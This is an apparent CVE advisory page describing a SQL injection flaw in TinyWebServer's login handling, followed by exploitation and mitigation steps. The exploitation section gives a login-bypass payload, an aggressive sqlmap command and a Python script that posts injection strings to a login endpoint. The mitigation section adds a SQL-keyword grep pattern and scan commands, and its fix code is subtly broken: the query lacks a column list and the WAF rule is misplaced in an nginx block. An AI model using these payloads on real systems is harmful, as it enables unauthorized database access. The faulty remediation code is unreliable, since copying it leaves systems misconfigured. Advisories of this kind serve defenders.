How CVE-2025-3267 Works
This vulnerability in TinyWebServer v1.0 arises due to improper sanitization of user-supplied input in the `/http/http_conn.cpp` file. When HTTP requests containing malicious SQL queries are processed, the `name` and `password` parameters are directly concatenated into SQL statements without validation. Attackers can exploit this by crafting requests with SQL payloads, leading to unauthorized database access, data leakage, or remote code execution. The flaw is remotely exploitable with low attack complexity, requiring no privileges or user interaction.
DailyCVE Form
Platform: TinyWebServer
Version: ≤1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/07/2025
What Undercode Say:
Exploitation
1. Craft Malicious Request:
POST /login HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded name=admin' OR '1'='1&password=any
2. SQLMAP Command:
sqlmap -u "http://target.com/login" --data="name=test&password=test" --risk=3 --level=5
3. Manual Exploit (Python):
import requests
payload = {"name": "admin'--", "password": ""}
r = requests.post("http://target.com/login", data=payload)
print(r.text)
Mitigation
1. Patch: Upgrade to a fixed version.
2. Input Sanitization:
// Example: Use prepared statements in http_conn.cpp sqlite3_prepare_v2(db, "SELECT FROM users WHERE name=? AND password=?", -1, &stmt, NULL); sqlite3_bind_text(stmt, 1, name.c_str(), -1, SQLITE_TRANSIENT);
3. WAF Rules:
location / {
modsecurity on;
SecRule ARGS "@detectSQLi" "id:1000,deny,status:403";
}
4. Log Monitoring:
tail -f /var/log/tinywebserver/access.log | grep -Ei "(union|select|--|1=1)"
5. Network Restriction:
iptables -A INPUT -p tcp --dport 80 ! -s trusted_ip -j DROP
6. CVE Check:
cve-search CVE-2025-3267 --details
7. Vulnerability Scan:
nmap -p80 --script http-sql-injection target.com
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3267
Extra Source Hub:
Undercode
